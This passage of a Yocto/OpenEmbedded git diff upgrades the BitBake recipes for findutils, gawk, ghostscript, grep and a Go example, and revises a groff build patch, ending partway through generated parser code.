+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.7.0.bb b/meta/recipes-extended/findutils/findutils_4.7.0.bb
deleted file mode 100644
index 59688e528a..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.7.0.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require findutils.inc
-
-# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "731356dec4b1109b812fecfddfead6b2"
-SRC_URI[sha256sum] = "c5fefbdf9858f7e4feb86f036e1247a54c79fc2d8e4b7064d5aaa1f47dfa789a"
-
-# http://savannah.gnu.org/bugs/?27299
-CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
-
-EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.8.0.bb b/meta/recipes-extended/findutils/findutils_4.8.0.bb
new file mode 100644
index 0000000000..b0e56da159
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.8.0.bb
@@ -0,0 +1,26 @@
+require findutils.inc
+
+# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "57127b7e97d91282c6ace556378d5455a9509898297e46e10443016ea1387164"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+# http://savannah.gnu.org/bugs/?27299
+CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
+
+EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+RDEPENDS:${PN}-ptest += "bash sed grep"
+
+do_install_ptest:class-target() {
+ mkdir -p ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+ # substitute value in run-ptest with actual version
+ sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
diff --git a/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch b/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch
deleted file mode 100644
index ca0d668ce9..0000000000
--- a/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 207b94e37c84007b294e57878c913271aad544ef Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 11 Nov 2020 23:13:23 -0800
-Subject: [PATCH] Use cross AR during compile
-
-If AR is specifcied then it should be used instead of defaulting to 'ar'
-from host
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 31364ab..4804f7b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -92,6 +92,13 @@ GAWK_CANONICAL_HOST
- AC_USE_SYSTEM_EXTENSIONS
-
- dnl checks for programs
-+m4_ifndef([AC_PROG_AR],[dnl
-+ AN_MAKEVAR([AR], [AC_PROG_AR])
-+ AN_PROGRAM([ar], [AC_PROG_AR])
-+ AC_DEFUN([AC_PROG_AR],
-+ [AC_CHECK_TOOL(AR, ar, :)])
-+])
-+AC_PROG_AR
- AC_PROG_EGREP
- AC_PROG_YACC
- AC_PROG_LN_S
---
-2.29.2
-
diff --git a/meta/recipes-extended/gawk/gawk/test-time.patch b/meta/recipes-extended/gawk/gawk/test-time.patch
new file mode 100644
index 0000000000..05a68c5faf
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk/test-time.patch
@@ -0,0 +1,22 @@
+The test time.awk does a sleep() and checks that the real sleep duration is
+close to the expected duration.
+
+As currently our tests can run on a heavily loaded system, increase the range of
+a passing duration.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/test/time.awk b/test/time.awk
+index 517377e2..ca81d92d 100644
+--- a/test/time.awk
++++ b/test/time.awk
+@@ -16,7 +16,7 @@ BEGIN {
+ printf "sleep(%s) = %s\n",delta,sleep(delta)
+ t1 = timecheck()
+ slept = t1-t0
+- if ((slept < 0.9*delta) || (slept > 1.3*delta))
++ if ((slept < 0.5*delta) || (slept > 2*delta))
+ printf "Warning: tried to sleep %.2f secs, but slept for %.2f secs\n",
+ delta,slept
+ }
diff --git a/meta/recipes-extended/gawk/gawk_5.1.0.bb b/meta/recipes-extended/gawk/gawk_5.1.0.bb
deleted file mode 100644
index 8c6411c867..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.1.0.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "GNU awk text processing utility"
-DESCRIPTION = "The GNU version of awk, a text processing utility. \
-Awk interprets a special-purpose programming language to do \
-quick and easy text pattern matching and reformatting jobs."
-HOMEPAGE = "https://www.gnu.org/software/gawk/"
-BUGTRACKER = "bug-gawk@gnu.org"
-SECTION = "console/utils"
-
-# gawk <= 3.1.5: GPLv2
-# gawk >= 3.1.6: GPLv3
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
-
-SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
- file://run-ptest \
- file://0001-Use-cross-AR-during-compile.patch \
-"
-
-SRC_URI[md5sum] = "f719bc9966df28e67fc6ebc405e7ea03"
-SRC_URI[sha256sum] = "03a0360edcd84bec156fe211bbc4fc8c78790973ce4e8b990a11d778d40b1a26"
-
-inherit autotools gettext texinfo update-alternatives
-
-FILES_${PN} += "${datadir}/awk"
-FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
-
-ALTERNATIVE_${PN} = "awk"
-ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install_append() {
- # remove the link since we don't package it
- rm ${D}${bindir}/awk
-}
-
-inherit ptest
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
- for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
- do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
- done
- sed -i -e 's|/usr/local/bin|${bindir}|g' \
- -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
-
- sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
-}
-
-RDEPENDS_${PN}-ptest += "make"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.1.1.bb b/meta/recipes-extended/gawk/gawk_5.1.1.bb
new file mode 100644
index 0000000000..215ac8c860
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.1.1.bb
@@ -0,0 +1,59 @@
+SUMMARY = "GNU awk text processing utility"
+DESCRIPTION = "The GNU version of awk, a text processing utility. \
+Awk interprets a special-purpose programming language to do \
+quick and easy text pattern matching and reformatting jobs."
+HOMEPAGE = "https://www.gnu.org/software/gawk/"
+BUGTRACKER = "bug-gawk@gnu.org"
+SECTION = "console/utils"
+
+# gawk <= 3.1.5: GPLv2
+# gawk >= 3.1.6: GPLv3
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
+
+SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
+ file://run-ptest \
+ file://test-time.patch \
+ "
+
+SRC_URI[sha256sum] = "6168d8d1dc8f74bd17d9dc22fa9634c49070f232343b744901da15fb4f06bffd"
+
+inherit autotools gettext texinfo update-alternatives
+
+FILES:${PN} += "${datadir}/awk"
+FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
+
+ALTERNATIVE:${PN} = "awk"
+ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install:append() {
+ # remove the link since we don't package it
+ rm ${D}${bindir}/awk
+}
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
+ for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
+ do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
+ done
+ sed -i -e 's|/usr/local/bin|${bindir}|g' \
+ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
+
+ sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
+}
+
+RDEPENDS:${PN}-ptest += "make"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-en-us.iso-8859-1 \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb b/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb
deleted file mode 100644
index cbf60c8c85..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb
+++ /dev/null
@@ -1,125 +0,0 @@
-SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
-DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
-a back-end to a program such as ghostview, it can display PostScript and PDF \
-documents in an X11 environment. \
-\
-Furthermore, it can render PostScript and PDF files as graphics to be printed \
-on non-PostScript printers. Supported printers include common \
-dot-matrix, inkjet and laser models. \
-"
-HOMEPAGE = "http://www.ghostscript.com"
-SECTION = "console/utils"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
-
-DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
-DEPENDS_class-native = "libpng-native"
-
-UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-def gs_verdir(v):
- return "".join(v.split("."))
-
-
-SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
- file://ghostscript-9.15-parallel-make.patch \
- file://ghostscript-9.16-Werror-return-type.patch \
- file://do-not-check-local-libpng-source.patch \
- file://avoid-host-contamination.patch \
- file://mkdir-p.patch \
-"
-
-SRC_URI = "${SRC_URI_BASE} \
- file://ghostscript-9.21-prevent_recompiling.patch \
- file://cups-no-gcrypt.patch \
- "
-
-SRC_URI_class-native = "${SRC_URI_BASE} \
- file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
- file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
- "
-
-SRC_URI[sha256sum] = "6eaf422f26a81854a230b80fd18aaef7e8d94d661485bd2e97e695b9dce7bf7f"
-
-# Put something like
-#
-# PACKAGECONFIG_append_pn-ghostscript = " x11"
-#
-# in local.conf to enable building with X11. Be careful. The order
-# of the overrides matters!
-#
-#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
-PACKAGECONFIG_class-native = ""
-
-PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
- --without-x, virtual/libx11 libxext libxt gtk+3\
- "
-
-EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
- --with-cups-datadir=${datadir}/cups \
- CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
- "
-
-EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
-
-# Explicity disable libtiff, fontconfig,
-# freetype, cups for ghostscript-native
-EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
- --without-jbig2dec --without-libpaper \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --disable-fontconfig \
- --enable-freetype --disable-cups "
-
-# This has been fixed upstream but for now we need to subvert the check for time.h
-# http://bugs.ghostscript.com/show_bug.cgi?id=692443
-# http://bugs.ghostscript.com/show_bug.cgi?id=692426
-CFLAGS += "-DHAVE_SYS_TIME_H=1"
-BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
-
-inherit autotools-brokensep
-
-do_configure_prepend_class-target () {
- rm -rf ${S}/jpeg/
-}
-
-do_configure_append () {
- # copy tools from the native ghostscript build
- if [ "${PN}" != "ghostscript-native" ]; then
- mkdir -p obj/aux soobj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
- done
- fi
-}
-
-do_install_append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
-}
-
-do_compile_class-native () {
- mkdir -p obj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- oe_runmake obj/aux/$i
- done
-}
-
-do_install_class-native () {
- install -d ${D}${bindir}/ghostscript-${PV}
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
- done
-}
-
-BBCLASSEXTEND = "native"
-
-# ghostscript does not supports "arc"
-COMPATIBLE_HOST = "^(?!arc).*"
-
-# some entries in NVD uses gpl_ghostscript
-CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb
new file mode 100644
index 0000000000..3993603dc6
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb
@@ -0,0 +1,129 @@
+SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
+DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
+a back-end to a program such as ghostview, it can display PostScript and PDF \
+documents in an X11 environment. \
+\
+Furthermore, it can render PostScript and PDF files as graphics to be printed \
+on non-PostScript printers. Supported printers include common \
+dot-matrix, inkjet and laser models. \
+"
+HOMEPAGE = "http://www.ghostscript.com"
+SECTION = "console/utils"
+
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
+
+DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
+DEPENDS:class-native = "libpng-native"
+
+UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+# As of ghostscript 9.54.0 the jpeg issue in the CVE is present in the gs jpeg sources
+# however we use an external jpeg which doesn't have the issue.
+CVE_CHECK_WHITELIST += "CVE-2013-6629"
+
+def gs_verdir(v):
+ return "".join(v.split("."))
+
+
+SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
+ file://ghostscript-9.15-parallel-make.patch \
+ file://ghostscript-9.16-Werror-return-type.patch \
+ file://do-not-check-local-libpng-source.patch \
+ file://avoid-host-contamination.patch \
+ file://mkdir-p.patch \
+"
+
+SRC_URI = "${SRC_URI_BASE} \
+ file://ghostscript-9.21-prevent_recompiling.patch \
+ file://cups-no-gcrypt.patch \
+ "
+
+SRC_URI:class-native = "${SRC_URI_BASE} \
+ file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
+ file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
+ "
+
+SRC_URI[sha256sum] = "31e2064be67e15b478a8da007d96d6cd4d2bee253e5be220703a225f7f79a70b"
+
+# Put something like
+#
+# PACKAGECONFIG:append:pn-ghostscript = " x11"
+#
+# in local.conf to enable building with X11. Be careful. The order
+# of the overrides matters!
+#
+#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
+PACKAGECONFIG:class-native = ""
+
+PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
+ --without-x, virtual/libx11 libxext libxt gtk+3\
+ "
+
+EXTRA_OECONF = "--without-libpaper --with-system-libtiff --with-jbig2dec \
+ --with-fontpath=${datadir}/fonts \
+ --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
+ --with-cups-datadir=${datadir}/cups \
+ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
+ "
+
+EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
+
+# Explicity disable libtiff, fontconfig,
+# freetype, cups for ghostscript-native
+EXTRA_OECONF:class-native = "--without-x --with-system-libtiff=no \
+ --without-jbig2dec --without-libpaper \
+ --with-fontpath=${datadir}/fonts \
+ --without-libidn --disable-fontconfig \
+ --enable-freetype --disable-cups "
+
+# This has been fixed upstream but for now we need to subvert the check for time.h
+# http://bugs.ghostscript.com/show_bug.cgi?id=692443
+# http://bugs.ghostscript.com/show_bug.cgi?id=692426
+CFLAGS += "-DHAVE_SYS_TIME_H=1"
+BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
+
+inherit autotools-brokensep
+
+do_configure:prepend:class-target () {
+ rm -rf ${S}/jpeg/
+}
+
+do_configure:append () {
+ # copy tools from the native ghostscript build
+ if [ "${PN}" != "ghostscript-native" ]; then
+ mkdir -p obj/aux soobj
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
+ done
+ fi
+}
+
+do_install:append () {
+ mkdir -p ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
+}
+
+do_compile:class-native () {
+ mkdir -p obj
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ oe_runmake obj/aux/$i
+ done
+}
+
+do_install:class-native () {
+ install -d ${D}${bindir}/ghostscript-${PV}
+ for i in genarch genconf mkromfs echogs gendev genht packps; do
+ install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
+ done
+}
+
+BBCLASSEXTEND = "native"
+
+# ghostscript does not supports "arc"
+COMPATIBLE_HOST = "^(?!arc).*"
+
+# some entries in NVD uses gpl_ghostscript
+CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index ab70ea98a3..b3a8631794 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -5,16 +5,18 @@ HOMEPAGE = "https://golang.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe"
+SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
+SRCREV = "787a929d5a0dfb8bbfcdd2c4a62e0fd89466113f"
UPSTREAM_CHECK_COMMITS = "1"
-GO_IMPORT = "github.com/golang/example"
+GO_IMPORT = "golang.org/x/example"
GO_INSTALL = "${GO_IMPORT}/hello"
+GO_WORKDIR = "${GO_INSTALL}"
+export GO111MODULE="off"
inherit go
# This is just to make clear where this example is
-do_install_append() {
+do_install:append() {
mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
}
diff --git a/meta/recipes-extended/grep/grep_3.5.bb b/meta/recipes-extended/grep/grep_3.5.bb
deleted file mode 100644
index 22ef70bc5b..0000000000
--- a/meta/recipes-extended/grep/grep_3.5.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "GNU grep utility"
-HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
-BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
-SECTION = "console/utils"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "b82ac77707c2ab945520c8404c9fa9f890f7791a62cf2103cf6238acad87a44a"
-
-inherit autotools gettext texinfo pkgconfig
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-do_configure_prepend () {
- sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
- rm -f ${S}/m4/init.m4
-}
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/grep ${D}${base_bindir}/grep
- mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
- mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
- rmdir ${D}${bindir}/
- fi
-}
-
-inherit update-alternatives
-
-PACKAGECONFIG ??= "pcre"
-PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "grep egrep fgrep"
-ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
-ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
-ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
diff --git a/meta/recipes-extended/grep/grep_3.7.bb b/meta/recipes-extended/grep/grep_3.7.bb
new file mode 100644
index 0000000000..b0b89de83d
--- /dev/null
+++ b/meta/recipes-extended/grep/grep_3.7.bb
@@ -0,0 +1,46 @@
+SUMMARY = "GNU grep utility"
+HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
+DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
+BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
+SECTION = "console/utils"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "5c10da312460aec721984d5d83246d24520ec438dd48d7ab5a05dbc0d6d6823c"
+
+inherit autotools gettext texinfo pkgconfig
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+do_configure:prepend () {
+ sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
+ rm -f ${S}/m4/init.m4
+}
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/grep ${D}${base_bindir}/grep
+ mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
+ mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
+ rmdir ${D}${bindir}/
+ fi
+}
+
+inherit update-alternatives
+
+PACKAGECONFIG ??= "pcre"
+PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "grep egrep fgrep"
+ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
+ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
+ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
index 348a61d9df..99f590bef3 100644
--- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch
+++ b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
@@ -17,7 +17,14 @@ In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4-
^
./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN'
-Upstream-Status: Pending
+We delete eqn.cpp and qen.hpp in do_configure
+to ensure they're regenerated and deterministic.
+
+Issue is fixed upstream with similar patches:
+https://git.savannah.gnu.org/cgit/groff.git/commit/?id=979f3f4266151c7681a68a40d2c4913842a7271d
+https://git.savannah.gnu.org/cgit/groff.git/commit/?id=fe121eeacd53c96105f23209b2c205f436f97359
+
+Upstream-Status: Backport [see links above]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/libs/libgroff/assert.cpp | 4 +
@@ -140,1029 +147,6 @@ index f95c05e..d875045 100644
#include <string.h>
#include <stdlib.h>
-diff --git a/src/preproc/eqn/eqn.cpp b/src/preproc/eqn/eqn.cpp
-index 4ede465..fdd9484 100644
---- a/src/preproc/eqn/eqn.cpp
-+++ b/src/preproc/eqn/eqn.cpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison implementation for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -47,7 +48,7 @@
- #define YYBISON 1
-
- /* Bison version. */
--#define YYBISON_VERSION "3.2"
-+#define YYBISON_VERSION "3.4.1"
-
- /* Skeleton name. */
- #define YYSKELETON_NAME "yacc.c"
-@@ -65,7 +66,11 @@
-
-
- /* First part of user prologue. */
--#line 18 "../src/preproc/eqn/eqn.ypp" /* yacc.c:338 */
-+#line 18 "src/preproc/eqn/eqn.ypp"
-+
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-
- #include <stdio.h>
- #include <string.h>
-@@ -77,7 +82,8 @@ extern int non_empty_flag;
- int yylex();
- void yyerror(const char *);
-
--#line 81 "src/preproc/eqn/eqn.cpp" /* yacc.c:338 */
-+#line 86 "src/preproc/eqn/eqn.cpp"
-+
- # ifndef YY_NULLPTR
- # if defined __cplusplus
- # if 201103L <= __cplusplus
-@@ -98,8 +104,8 @@ void yyerror(const char *);
- # define YYERROR_VERBOSE 0
- #endif
-
--/* In a future release of Bison, this section will be replaced
-- by #include "y.tab.h". */
-+/* Use api.header.include to #include this header
-+ instead of duplicating it here. */
- #ifndef YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- # define YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- /* Debug traces. */
-@@ -237,10 +243,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:353 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -249,9 +254,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 253 "src/preproc/eqn/eqn.cpp" /* yacc.c:353 */
--};
-+#line 258 "src/preproc/eqn/eqn.cpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-@@ -366,6 +371,8 @@ typedef short yytype_int16;
- #endif
-
-
-+#define YY_ASSERT(E) ((void) (0 && (E)))
-+
- #if ! defined yyoverflow || YYERROR_VERBOSE
-
- /* The parser invokes alloca or malloc; define the necessary symbols. */
-@@ -508,16 +515,16 @@ union yyalloc
- /* YYNSTATES -- Number of states. */
- #define YYNSTATES 142
-
--/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
-- by yylex, with out-of-bounds checking. */
- #define YYUNDEFTOK 2
- #define YYMAXUTOK 315
-
-+/* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM
-+ as returned by yylex, with out-of-bounds checking. */
- #define YYTRANSLATE(YYX) \
- ((unsigned) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
-
- /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
-- as returned by yylex, without out-of-bounds checking. */
-+ as returned by yylex. */
- static const yytype_uint8 yytranslate[] =
- {
- 0, 2, 2, 2, 2, 2, 2, 2, 2, 63,
-@@ -558,14 +565,14 @@ static const yytype_uint8 yytranslate[] =
- /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
- static const yytype_uint16 yyrline[] =
- {
-- 0, 121, 121, 123, 128, 130, 141, 143, 145, 150,
